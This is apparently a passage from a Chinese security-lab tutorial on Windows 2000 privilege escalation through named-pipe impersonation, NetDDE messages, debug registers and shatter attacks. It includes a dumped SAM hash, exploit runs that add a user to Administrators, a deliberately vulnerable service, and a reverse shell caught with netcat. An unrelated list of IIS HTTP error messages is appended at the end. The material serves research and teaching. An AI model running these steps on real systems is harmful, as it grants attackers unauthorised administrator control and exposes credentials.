More help is available by typing NET HELPMSG 3521.

Impersonating: SYSTEM
Dumping SAM for RID 500 …

F:0×020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffff
ff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a00
0000

V:0×00000000a800000002000100a80000001a00000000000000c40000000000000000000000c400
00006c00000000000000300100000000000000000000300100000000000000000000300100000000
00000000000030010000000000000000000030010000000000000000000030010000000000000000
00003001000000000000000000003001000000000000000000003001000008000000010000003801
000014000000000000004c0100001400000000000000600100000400000000000000640100000400
000000000000010014808800000098000000140000003000000002001c000100000002c014004400
05010101000000000001000000000200580003000000000014005b03020001010000000000010000
000000001800ff070f00010200000000000520000000200200000000240044000200010500000000
000515000000dde8e41c32621f2a8aa7323ff4010000010200000000000520000000200200000102
0000000000052000000020020000410064006d0069006e006900730074007200610074006f007200
00004200750069006c0074002d0069006e0020006100630063006f0075006e007400200066006f00
72002000610064006d0069006e006900730074006500720069006e00670020007400680065002000
63006f006d00700075007400650072002f0064006f006d00610069006e0001020000070000000100
01001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29011d882f0100
010001000100

D:\MyJob\securitylab\PipeUp\Debug>

大家看了上面两个例子有什么想法呢?肯定有人会觉得这些Exploit有“做弊”的嫌疑:一方面,在radix1112200101(或PipeUp)运行之前,RunAs(或ClipBook)服务进程都必须先终止运行,这样黑客进程才有可能伪造Named Pipe,才有机会窃取Administrator(或Local System)的账号信息;而另一方面,黑客必须先取得至少Administrator的权限才能终止RunAs(或ClipBook)进程。这两个方面看起来是互为前提条件的,是个无解的“Deadlock”。实际上,我在SecurityFocus网站上看到Microsoft针对Exploit程序radix1112200101的回复,它指出这个Exploit是两难的,现实中不太可能发生。

要实现这个Exploit确实有些难度,但是这并不等于不会发生!假如某个服务进程有Bugs,象缓冲区溢出呀、Signal不当reentrant呀等等,那么在运行中这个服务进程就有可能被黑客故意整垮掉(Crash),然后黑客就可以伪造它的Named Pipe,再利用上面的Exploit程序提升其权限。

而且有时候我们并不需要先终止服务进程,我在Microsoft的Security Bulletins网站上找到一个例子—-编号为MS01-031的一篇文章 “Predictable Name Pipes Could Enable Privilege Elevation Via Telnet”。中文大意是说:当你通过Telnet远程联线到Windows 2000系统中的Telnetd服务进程时,Telnetd会创建一个新的Named Pipe,同时运行这个Named Pipe携带的初始化程序。由于这个Named Pipe的名字是可以猜到的(Predictable),所以黑客可以抢先用猜到的名字创建这个Named Pipe,同时让这个Named Pipe携带黑客码作为初始化程序;当Telnetd服务进程发现这个Named Pipe已经存在时,它既不重新创建一个新的Named Pipe,也不核实一下这个Named Pipe的创建者是否可以信赖(Trustable),相反,它直接使用这个Named Pipe,并且把其携带的黑客码当成初始化程序运行。由于在缺省设置的情况下,Telnetd服务进程具有Local System的权限,所以黑客码也将以这个最高的权限横冲直撞。

Microsoft的文章并没有告诉我们这个可以猜得到的Named Pipe名字是什么—-这是可以理解的,毕竟谁也不会开门掬盗。不过我在dallas上作了个试验:分别联结两个Telnet Session到Dallas上,然后用Pipelist程序观察在Telnet后Named Pipe的变化情况:

D:\MyJob\tool\pipelist\Debug>pipelist

PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com

Pipe Name Instances Max Instances
——— ——— ————-
InitShutdown 2 -1
lsass 5 -1
ntsvcs 52 -1
scerpc 2 -1
net\NtControlPipe1 1 1
。。。。。。。。。。
tapsrv 2 -1
ROUTER 2 -1
WMIEP_644 2 -1
WMIEP_2c8 2 -1
net\NtControlPipe28 1 1
telnetd\000001fc.00000000 1 1
telnetd\000001fc.00000001 1 1
telnetd\000001fc.00000002 1 1
telnetd\000001fc.00000003 1 1

上面用黑体字标出来的Named Pipe:net\NtControlPipe28属于Telnetd服务进程,而telnetd\000001fc.00000000与telnetd\000001fc.00000001属于第一个Telnet Session,telnetd\000001fc.00000002与telnetd\000001fc.00000003属于第二个Telnet Session。如果这时有第三个用户Telnet进来的话,Telnetd要用到的Named Pipe名字将会是telnetd\000001fc.00000004与telnetd\000001fc.00000005,我敢赌100块钱!!!

你们看到,这个例子并不需要终止任何服务进程,理论上说你只需要具有一般用户账号就可以提升你的权限到Local System级别:先以一般用户账号伪造Named Pipe并让它附带黑客码作为初始化程序,然后以同一账号远程联线到象dallas这样的机器上,Telnetd服务进程会主动运行你附带在Named Pipe上的黑客码,而且你的黑客码是以Local System权限运行。

利用Windows 2000中的Dynamic Data Exchange来提升权限:

我是在www.atstake.com网站的Security Advisory栏目(2001年2月版)看到这篇文章:“NetDDE Message Vulnerability”,作者是DilDog。搞这一行有些日子的人大概都看过他的另一篇非常有名、非常经典的文章:“The Tao of Windows Buffer Overflow”;这篇文章被其他人引用的次数很多,如果拿这篇文章的引用率来评职称,肯定是非常的Solid—-就是很硬的意思!

在那一篇文章中,他详细地介绍了在Windows NT系统中如何发现NetMeeting的缓冲区溢出,如何一步一步编写黑客码去Exploit这个缺口(Vulnerability)。实际上,在前面两章的Exploit试验中我所用到的罗马大道“Jmp esp”,以及函数指令表都直接或间接地借鉴了他的思路。有兴趣的朋友可以到下面的网页去拜读一下这篇大作:

http://www.cultdeadcow.com/cDc_files/cDc-351/index.html

好,回到正题:如何利用Dynamic Data Exchange来提升权限?我们曾经提到过,在Windows操作系统有多种Interprocess Communication的方法,Named Pipe是常见的一种,而Dynamic Data Exchange(DDE)则是另一种常见的方法,它是通过共享内存来实现不同进程间的动态数据交换。这些动态交换的数据叫DDE Share,它们由DDE Server创建并由Network DDE DSDM (DDE share database manager)服务进程管理。你可以在Dos窗口下运行命令DDESHARE来显示你计算机上的DDE Share,常见的DDE Share有Chat$、CLPBK$、Hearts$。

当管理DDE Share的Network DDE DSDM服务进程运行时,Winlogon会在当前登录用户的Desktop产生一个隐藏式的Window,这个隐藏式的Window名字为”NetDDE Agent”,是一个”NDDEAgnt”类的window class,它的功能在于协助DDE Server程序及DDE Client程序之间的数据交换。由于它由Winlogon创建,这个Window的进程就以Local System的权限运行在登录用户的Desktop上,只不过用户看不到它而已。

“NetDDE Agent”还有另外一个辅助功能:当DDE Client试图连接到一个Trueted的DDE Share时,如果”NetDDE Agent”发现创建这个DDE Share的DDE Server尚未运行,它会主动启动这个Server。记住”NetDDE Agent”进程是具有Local System权限的,所以它启动Server没有一点问题。

根据DilDog的研究,这个隐藏式的”NetDDE Agent”就是一个缺口(Vulerability)!还记得Window操作系统中的函数SendMessage()吗?登录用户可以利用这个函数向Desktop上的任何Window发送Message,即使这个Window不属于当前登录用户。所以黑客在以一般用户的身份登录后,可以用SendMessage()发送一个WM_COPYDATA message给”NetDDE Agent”,这个Message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容:
1。 一个Trusted DDE Share的名字,比如说Chat$;
2。 一个用于启动DDE Server的命令,如果”NetDDE Agent”发现创建Chat$的DDE Server尚未运行,就根据这个命令来启动DDE Server。但是黑客可以任选一个命 令来伪造,比如说“Net Localgroup Administrators /Add 阿猫”—-这里的阿 猫已经是合法的一般用户了;
3。 一些固定不变的字节。DilDog认为是这些字节应该是随机产生的,而不应该固定 不变。我个人理解这些字节是用于向”NetDDE Agent”或Network DDE DSDM证明 WM_COPYDATA message是由合法程序(而不是黑客程序)发出的,所以它们应该随机 变化而不让黑客轻易得到。
当”NDDEAgnt”接收到WM_COPYDATA message时,它核对后会发现第三部分的字节正确无误,而且Trusted DDE Share确实存在,於是它就执行黑客命令,由于”NDDEAgnt”具有Local System权限,它可以顺利地让阿猫同志光荣地加入本地Administrator Group。

DilDog在文章中还附带了一个Exploit程序netddemsg,我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地Administrators Group的:
/*
先以我的用户账号“moda”登录dallas。

看看本地administrators Group有哪些成员:
*/
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the

Members
—————————————————————————–
a_mao
Administrator

The command completed successfully.
/*
本地administrators Group目前只有两个成员,Administrator和a_mao。试着把“moda”加入到本地administrators Group中:
*/
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators /add moda

System error 5 has occurred.

Access is denied.
/*
我的权限显然不够,所以得到error 5。

运行DilDog的Exploit程序,同时附带上我的黑客命令:
*/
D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$ net localgroup administrators /add moda

/*
程序运行结束,让我们看看“moda”是否加入本地administrators Group:
*/

D:\MyJob\securitylab\netddemsg\Debug>
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the

Members

—————————————————————————–
a_mao
Administrator
moda
The command completed successfully.

D:\MyJob\securitylab\netddemsg\Debug>

/*
我也光荣地加入了本地administrators Group
*/

利用Windows 2000/Intel中的Debug Register来提升权限:

我是在Georgi Guninski的个人网站(http://www.guninski.com)上看到这篇文章:
“Elevation of Privileges with debug registers on Win2k”,介绍如何利用Intel X86中的Debug Register来获取Local Administrator的权限。我的运气不太好,用文章中的Exploit程序Pipe3试了几次也不能成功,不过觉得利用Debug Register来攻击是个新的思路,所以就在这里顺便介绍一下。

Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。也就是说,你在一般用户进程中下一个绊子(就是设置一个断点),没准会把某个系统进程或者服务进程(Service)绊一跤;这一跤要是把系统/服务进程摔垮了,导致它停止执行的话,你没准就可以伪造该进程的Named Pipe;然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时,黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限—-这很可能就是Local System的权限。

文章中的Exploit程序Pipe3(请从网站http://www.guninski.com下载)就是按照这个思路设计的:它要整垮的进程是lsass,所以必须先找几个lsass进程将要运行的指令的地址,以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路,我们才好在那条路上设绊脚石);然后Pipe3以一般用户的权限运行程序Calc(计算器),并在其中设置断点,因为这断点的地址是在lsass运行的途径上,所以它们并不会影响Calc进程;过不了多久lsass就会有报告“SingleStep Exception”并让你选择是中断lsass运行还是Debug lsass进程;选择中断lsass以便关闭lsass拥有的Named Pipe—-\
‘5c.\pipe\lsass”,这样Pipe3就可以伪造一个同名的Named Pipe;。。。。。。这以后的几步我想就不用重复了,大家都应该清楚。下面说说我Exploit的情况:

先用WinDbg找到lsass可能要运行的指令地址,lsass有多个Thread,我从不同Thread的ESP寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让Pipe3在这些地址分别设断点,总有那么一个地址会成功地中断lsass程,并且产生一个Warning对话框(Dialog Box)报告“SingleStep Exception”。当我选择中断进程后, lsass退出执行,Pipe3报告“LSA died!”:

D:\MyJob\securitylab\pipe3\Debug>pipe3
Fun with debug registers. Written by Georgi Guninski
vvdr started: lsasspid=240 breakp=5ffebc
LSA died!
Stop writing to pipe
start \\.\pipe\lsass
Failed to create named pipe:
\\.\pipe\lsass

由于lsass是重要的系统进程,它的终止运行将使系统在一分钟内自动Shutdown。另外我们注意到, \\.\pipe\lsass并没有成功地创建。为什么呢?我抢在系统Shutdown之前运行了一下Pipelist:

D:\MyJob\securitylab\pipe3\Debug>pipelist
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com

Pipe Name Instances Max Instances
——— ——— ————-
InitShutdown 2 -1
lsass 2 -1
ntsvcs 49 -1
scerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
。。。。。。。。。。。。。。。。

很奇怪,虽然lsass进程终止运行,但是它的Named Pipe还在—-这大概是Pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系,我没能深入研究这个问题,不过哪位朋友要是用Pipe3成功地实现Exploit的话,不要忘记告诉我一声!

不过话又说回来,这种利用Debug Register来终止lsass进程的方法—-即使成功的话,也太暴露了:整个系统居然会Shutdown!任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了,正如我轻轻的来”,要象伟大的诗人兼武林高手徐自摩那样施展一把轻功,让傻瓜管理员根本发现不了,当然耳朵厉害的管理员还是会发现的—-“谁?有黑客!抓黑客!”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的,这就不是我能评论的了。

利用Win32 API的设计缺陷提升权限:

几个星期以前我在计算机安全网站上看到两篇新发表的文章:<>、<>,作者是Chris Paget(网名Foon),我建议大家去下面的网址读一下他的原著:

http://security.tombom.co.uk/shatter.html
http://security.tombom.co.uk/moreshatter.html。

这两篇文章详细地介绍了如何利用Win32 API的一个设计缺陷来提升普通用户的权限。我们前面也提到,普通用户的进程可以向他/她的Desktop上任何Window发送Message,让目标Window执行用户指定的操作,比如说COPY/PASTE(拷贝/沾贴)、定时运算(Timer)等等。这个Window可能属于用户自己,也可能属于Local System(象”NetDDE Agent”)—-这样问题就来了:

—- 普通用户如你我他她它(比尔盖茨说狗也可能上网的,所以我们要算上“它”)在 他的Desktop上先找到一个属于Local System的Window,我们给这个Window起一个 名字叫WINDOWXYZ,这个WINDOWXYZ上最好有能接收沾贴内容的Control(比如说 EDIT);
—- 用户可以把黑客码用“WM_PASTE”(Message之一)沾贴到WINDOWXYZ的Control里;
—- 用户找到被沾贴的黑客码在WINDOWXYZ进程中的地址;
—- 用户然后发送“WM_TIMER”(Message之二)给WINDOWXYZ,同时把黑客码地址作为 参数一并传给WINDOWXYZ,WINDOWXYZ於是执行定时运算,开始运行黑客码。这些 黑客码是以Local System的权限运行的,所以普通用户的权限被成功地提升。
—- 实际上,根据FOON的文章,即使普通用户在其Desktop上找不到属于Local System的Window,他也有办法提升权限:他可以利用Tool Help函数得到属于 Local System的进程及其Thread,只要其中任何一个Thread能处理Window的 Message,用户就可以用函数PostThreadMessage()向这个属于Local System的 Thread发送Message,然后就。。。如此这般。。。地提升权限。不过我没有时间 亲手试验过这种方法。

这两篇文章引起了很大的反响,其中最引人注意的是Microsoft的答复,Micorsoft说这种方法老早就有人提出来了,Nothing New!又说根本就不应该在普通用户的Desktop上创建属于Local System的Window,编程序的人应该避免这样的设计。但实际上隐藏式的窗口”NetDDE Agent”就出自于Microsoft的设计,它属于Local System但是却运行在登录用户的Desktop上,看来Microsoft是知法犯法啊!

我觉得这个缺陷就象不安全的函数strcpy一样,C语言在实现strcpy函数时有漏洞 (函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块,缓冲区的溢出就会覆盖系统管理信息),於是大家寄希望于程序员能够避免使用函数strcpy。现在Microsoft也承认在普通用户的Desktop上创建一个Window是危险的,所以它也寄希望于大家编程时避免使用这样的设计。

下面我专门编写了一个服务进程“SimpleService”来演示一下Microsoft的这个设计缺陷。SimpleService以Local System的权限运行,它打开一个Named Pipe然后等待Named Pipe Client与它联络;普通用户接着登录计算机并运行程序“Client”,“Client”是一个Named Pipe Client;它向SimpleService的Named Pipe随便写一些字节,於是SimpleService就在登录用户的Desktop上产生一个对话窗口(Dialog Box)。普通用户最后利用FOON的攻击程序Shatter攻击这个对话窗口来获得“Local System”的权限。

因为SimpleService程序太长,所以我只节选了关键的部分让大家参考:

<=======================SimpleService==========================>

#define SZAPPNAME _T(“Simple”)
#define SZSERVICENAME _T(“SimpleService”)
#define SZSERVICEDISPLAYNAME _T(“Simple Service”)
#define SZDEPENDENCIES _T(“”)

typedef struct DLGPARAM{
UINT numOfHit;
TCHAR *msg;
} DlgParam;

// internal function prototypes
static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM
lParam);

// SimpleService.cpp : Defines the entry point for the application.
//

HINSTANCE hAppInstance;
DlgParam m_dlgParam;

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
……
}

void WINAPI service_main()
{
……
}

VOID WINAPI service_ctrl(DWORD dwCtrlCode)
{
……
}

BOOL WINAPI ControlHandler ( DWORD dwCtrlType )
{
……
}

HANDLE hServerStopEvent = NULL;

VOID ServiceStart ()
{
……
……

hPipe = CreateNamedPipe(
lpszPipeName , // name of pipe
FILE_FLAG_OVERLAPPED |
PIPE_ACCESS_DUPLEX, // pipe open mode
PIPE_TYPE_MESSAGE |
PIPE_READMODE_MESSAGE |
PIPE_WAIT, // pipe IO type
1, // number of instances
0, // size of outbuf
//(0 == allocate as necessary)
0, // size of inbuf
1000, // default time-out value
&sa); // security attributes
……
……
while ( 1 )
{
……
……
ConnectNamedPipe(hPipe, &os);
……
……
bRet = ReadFile(
hPipe, // file to read from
szIn, // address of input buffer
sizeof(szIn), // number of bytes to read
&cbRead, // number of bytes read
&os); // overlapped stuff, not needed
……
……
_stprintf(szOut, _T(“Please check the Dialog Box”));
_stprintf(szOut1, _T(“Eacho Back! [%s]“), szIn);
……
……

bRet = WriteFile(
hPipe, // file to write to
szOut, // address of output buffer
sizeof(szOut), // number of bytes to write
&cbWritten, // number of bytes written
&os); // overlapped stuff, not needed
……
……
DisconnectNamedPipe(hPipe);

m_dlgParam.numOfHit++;
m_dlgParam.msg = szOut1;

/*
在登录用户的Desktop上创建一个窗口
*/
int result = DialogBoxParam(hAppInstance,
MAKEINTRESOURCE(IDD_SVCMSG),
NULL,
(DLGPROC) DialogProc,
(LPARAM) &m_dlgParam);
}
cleanup:
……
……
}

VOID ServiceStop()
{
if ( hServerStopEvent )
SetEvent(hServerStopEvent);
}

#define SIZEOFBUF 40
/*
Window的Message Handler
*/
BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

{
DlgParam* l_pDlgParam = (DlgParam*) lParam;
CHAR tempBuf[SIZEOFBUF];

switch (uMsg)
{
case WM_INITDIALOG:
{
HWND hNumVisit = GetDlgItem(hwnd, IDC_NUMHIT);
/*限定Edit Control的尺寸(Size)为3*/
SendMessage( hNumVisit, EM_LIMITTEXT, (WPARAM) 3, (LPARAM)0);
_itoa(l_pDlgParam->numOfHit, tempBuf,10);
SendMessage(hNumVisit, WM_SETTEXT, (WPARAM) 0,(LPARAM)tempBuf);

HWND hMsg = GetDlgItem(hwnd, IDC_MSG);
/*限定Edit Control的尺寸(Size)为40*/
SendMessage( hMsg, EM_LIMITTEXT, (WPARAM) SIZEOFBUF, (LPARAM)0);
SendMessage( hMsg, WM_SETTEXT, (WPARAM) 0,
(LPARAM) l_pDlgParam->msg );

SetForegroundWindow(hwnd);

return FALSE;
}

case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_OK:
EndDialog(hwnd, IDC_OK);
return FALSE;
default:
return FALSE;
}
}
}
return FALSE;
}

<==============================================================>

下面是程序Client.c,非常简单,它的功能仅仅是向“\\.\pipe\simple”发送几个字节:

<==========================Client==============================>
// client.cpp : Defines the entry point for the console application.
//

#include
#include
#include
#include

int main(int argc, char* argv[])
{
char inbuf[80];
char outbuf[80];
DWORD bytesRead;
BOOL ret;
LPSTR lpszPipeName = “\\\\.\\pipe\\simple”;
LPSTR lpszString = “World”;

strcpy( outbuf, lpszString );

ret = CallNamedPipeA(lpszPipeName,
outbuf, sizeof(outbuf),
inbuf, sizeof(inbuf),
&bytesRead, NMPWAIT_WAIT_FOREVER);

if (!ret) {
printf(“client: CallNamedPipe failed for %d\n”, GetLastError());
exit(1);
}

printf(“client: received: %s\n”, inbuf);

return 0;
}

<==============================================================>

FOON编写了一个攻击工具Shatter,大家可以参考他的文章来使用这个工具,而且他的网站上还有Shatter的源程序。这个程序专门攻击象SimpleService这样会创建Window的服务进程,它首先把Window中Edit Control的尺寸(Size)扩大,然后把可执行的黑客码沾贴到Edit中,这样就把黑客码拷贝到这个Window进程的内存中了—-很Cool吧!接下来我们就要寻找黑客码在内存中的地址,FOON是用Windbg去寻找这个地址的,详情请参考他的文章。最后Shatter向Window进程发送一个定时执行Message—-“WM_TIMER”,迫使Window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成,它产生一个远程的cmd shell联结回到Client机器上,所以我们可以用鼎鼎有名的netcat程序与它联络。

我现在来演示一下使用Shatter攻击SimpleService的过程,看看普通用户“moda”是如何通过Shatter提升权限的:

先以普通用户“moda”登录,看看本地Administrators组当前的成员:

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

D:\MyJob\tool\netcat>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the
Members

—————————————————————————–
Administrator
The command completed successfully.

本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。

D:\MyJob\tool\netcat>net localgroup administrators /add moda
System error 5 has occurred.

Access is denied.

很惨呀,得了一个“Access is denied.”的错误。

下面运行程序Client,向SimpleService发送几个字节,於是SimpleService在普通用户“moda”的Desktop上产生一个对话框:

这个对话框上有两个Edit Controls,一个对应着“Number Of Hit”,这里输出SimpleService的Named Pipe被访问的次数;一个对应着“Message Back”,这里输出SimpleService的Message。这两个Edit都可以被攻击利用,不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter:

第一步:
我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到,“Message Back”的Edit只允许40个char,而jill的黑客码显然超过了这个长度,所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT,把它的尺寸扩大到0xffffffff(见下图)。

第二步:
把FOON改编的jill黑客码拷贝到Clipboard上,然后往Edit发送WM_PASTE,你可以看到Edit中马上堆积了一长串乱七八糟的字符,这就是jill黑客码。

第三步:
利用Windbg去寻找jill黑客码在Window内存中的地址,这个过程FOON已经讲得很清楚了,所以就不用我罗嗦了。在dallas上我得到的地址是在0×1389c0附近。

第四步:
另外打开一个Dos窗口运行netcat,我们准备与打入敌营的侦察兵jill联络:

D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123

第五步:
向Edit发送WM_TIMER,让Window进程跳去执行从0×1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容,它输出一些版权信息。

D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

第六步:
现在你就可以通过netcat与Window进程中的cmd Shell联系,可以向它发送命令,从它那里得到命令运行结果。这个cmd Shell具有Local System的权限,所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中:

D:\WINNT\system32>net localgroup administrators /add moda
net localgroup administrators /add moda
The command completed successfully.

D:\WINNT\system32>net localgroup administrators
net localgroup administrators

Alias name administrators
Comment Administrators have complete and unrestricted access to the

Members

—————————————————————————–
Administrator
moda
The command completed successfully.

D:\WINNT\system32>
D:\WINNT\system32>

以上就是我演示Microsoft这个缺陷的过程,虽说我有意把SimpleServic设计得易于黑客攻击,但实际上还有不少的流行的程序也是犯了同样的错误,象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等,它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。

各位,编程序时要记住不要在阿猫阿狗的Desktop上创建Window啊!如果你给它们机会,阿猫阿狗也会成精的!

HTTP 错误 400
400 请求出错
由于语法格式有误,服务器无法理解此请求。不作修改,客户程序就无法重复此请求。

HTTP 错误 401
401.1 未授权:登录失败
此错误表明传输给服务器的证书与登录服务器所需的证书不匹配。
请与 Web 服务器的管理员联系,以确认您是否具有访问所请求资源的权限。
401.2 未授权:服务器的配置导致登录失败
此错误表明传输给服务器的证书与登录服务器所需的证书不匹配。此错误通常由未发送正确的 WWW 验证表头字段所致。
请与 Web 服务器的管理员联系,以确认您是否具有访问所请求资源的权限。
401.3 未授权:由于资源中的 ACL 而未授权
此错误表明客户所传输的证书没有对服务器中特定资源的访问权限。此资源可能是客户机中的地址行所列出的网页或文件,也可能是处理客户机中的地址行所列出的文件所需服务器上的其他文件。
请记录试图访问的完整地址,并与 Web 服务器的管理员联系以确认您是否具有访问所请求资源的权限。
401.4 未授权:授权服务被筛选程序拒绝
此错误表明 Web 服务器已经安装了筛选程序,用以验证连接到服务器的用户。此筛选程序拒绝连接到此服务器的真品证书的访问。
请记录试图访问的完整地址,并与 Web 服务器的管理员联系以确认您是否具有访问所请求资源的权限。
401.5 未授权:ISAPI/CGI 应用程序的授权失败
此错误表明试图使用的 Web服务器中的地址已经安装了 ISAPI 或 CGI程序,在继续之前用以验证用户的证书。此程序拒绝用来连接到服务器的真品证书的访问。
请记录试图访问的完整地址,并与 Web服务器的管理员联系以确认您是否具有访问所请求资源的权限

HTTP 错误 403
403.1 禁止:禁止执行访问
如果从并不允许执行程序的目录中执行 CGI、ISAPI或其他执行程序就可能引起此错误。
如果问题依然存在,请与 Web 服务器的管理员联系。
403.2 禁止:禁止读取访问
如果没有可用的默认网页或未启用此目录的目录浏览,或者试图显示驻留在只标记为执行或脚本权限的目录中的HTML 页时就会导致此错误。
如果问题依然存在,请与 Web 服务器的管理员联系。
403.3 禁止:禁止写访问
如果试图上载或修改不允许写访问的目录中的文件,就会导致此问题。
如果问题依然存在,请与 Web服务器的管理员联系。
403.4 禁止:需要 SSL
此错误表明试图访问的网页受安全套接字层(SSL)的保护。要查看,必须在试图访问的地址前输入https:// 以启用 SSL。
如果问题依然存在,请与 Web服务器的管理员联系。
403.5 禁止:需要 SSL 128
此错误消息表明您试图访问的资源受 128位的安全套接字层(SSL)保护。要查看此资源,需要有支持此SSL 层的浏览器。
请确认浏览器是否支持 128 位 SSL安全性。如果支持,就与 Web服务器的管理员联系,并报告问题。
403.6 禁止:拒绝 IP 地址
如果服务器含有不允许访问此站点的 IP地址列表,并且您正使用的 IP地址在此列表中,就会导致此问题。
如果问题依然存在,请与 Web服务器的管理员联系。
403.7 禁止:需要用户证书
当试图访问的资源要求浏览器具有服务器可识别的用户安全套接字层(SSL)证书时就会导致此问题。可用来验证您是否为此资源的合法用户。
请与 Web服务器的管理员联系以获取有效的用户证书。
403.8 禁止:禁止站点访问
如果 Web服务器不为请求提供服务,或您没有连接到此站点的权限时,就会导致此问题。
请与 Web 服务器的管理员联系。
403.9 禁止访问:所连接的用户太多
如果 Web太忙并且由于流量过大而无法处理您的请求时就会导致此问题。请稍后再次连接。
如果问题依然存在,请与 Web 服务器的管理员联系。
403.10 禁止访问:配置无效
此时 Web 服务器的配置存在问题。
如果问题依然存在,请与 Web服务器的管理员联系。
403.11 禁止访问:密码已更改
在身份验证的过程中如果用户输入错误的密码,就会导致此错误。请刷新网页并重试。
如果问题依然存在,请与 Web服务器的管理员联系。
403.12 禁止访问:映射程序拒绝访问
拒绝用户证书试图访问此 Web 站点。
请与站点管理员联系以建立用户证书权限。如果必要,也可以更改用户证书并重试。

HTTP 错误 404
404 找不到
Web 服务器找不到您所请求的文件或脚本。请检查URL 以确保路径正确。
如果问题依然存在,请与服务器的管理员联系。

HTTP 错误 405
405 不允许此方法
对于请求所标识的资源,不允许使用请求行中所指定的方法。请确保为所请求的资源设置了正确的 MIME 类型。
如果问题依然存在,请与服务器的管理员联系。

HTTP 错误 406
406 不可接受
根据此请求中所发送的“接受”标题,此请求所标识的资源只能生成内容特征为“不可接受”的响应实体。
如果问题依然存在,请与服务器的管理员联系。

HTTP 错误 407
407 需要代理身份验证
在可为此请求提供服务之前,您必须验证此代理服务器。请登录到代理服务器,然后重试。
如果问题依然存在,请与 Web 服务器的管理员联系。

HTTP 错误 412
412 前提条件失败
在服务器上测试前提条件时,部分请求标题字段中所给定的前提条件估计为FALSE。客户机将前提条件放置在当前资源 metainformation(标题字段数据)中,以防止所请求的方法被误用到其他资源。
如果问题依然存在,请与 Web 服务器的管理员联系。

HTTP 错误 414
414 Request-URI 太长
Request-URL太长,服务器拒绝服务此请求。仅在下列条件下才有可能发生此条件:
客户机错误地将 POST 请求转换为具有较长的查询信息的 GET 请求。
客户机遇到了重定向问题(例如,指向自身的后缀的重定向前缀)。
服务器正遭受试图利用某些服务器(将固定长度的缓冲区用于读取或执行 Request-URI)中的安全性漏洞的客户干扰。
如果问题依然存在,请与 Web 服务器的管理员联系。

HTTP 错误 500
500 服务器的内部错误
Web 服务器不能执行此请求。请稍后重试此请求。
如果问题依然存在,请与 Web服务器的管理员联系。

HTTP 错误 501
501 未实现
Web 服务器不支持实现此请求所需的功能。请检查URL 中的错误,如果问题依然存在,请与 Web服务器的管理员联系。

HTTP 错误 502
502 网关出错
当用作网关或代理时,服务器将从试图实现此请求时所访问的upstream 服务器中接收无效的响应。
如果问题依然存在,请与 Web服务器的管理员联系。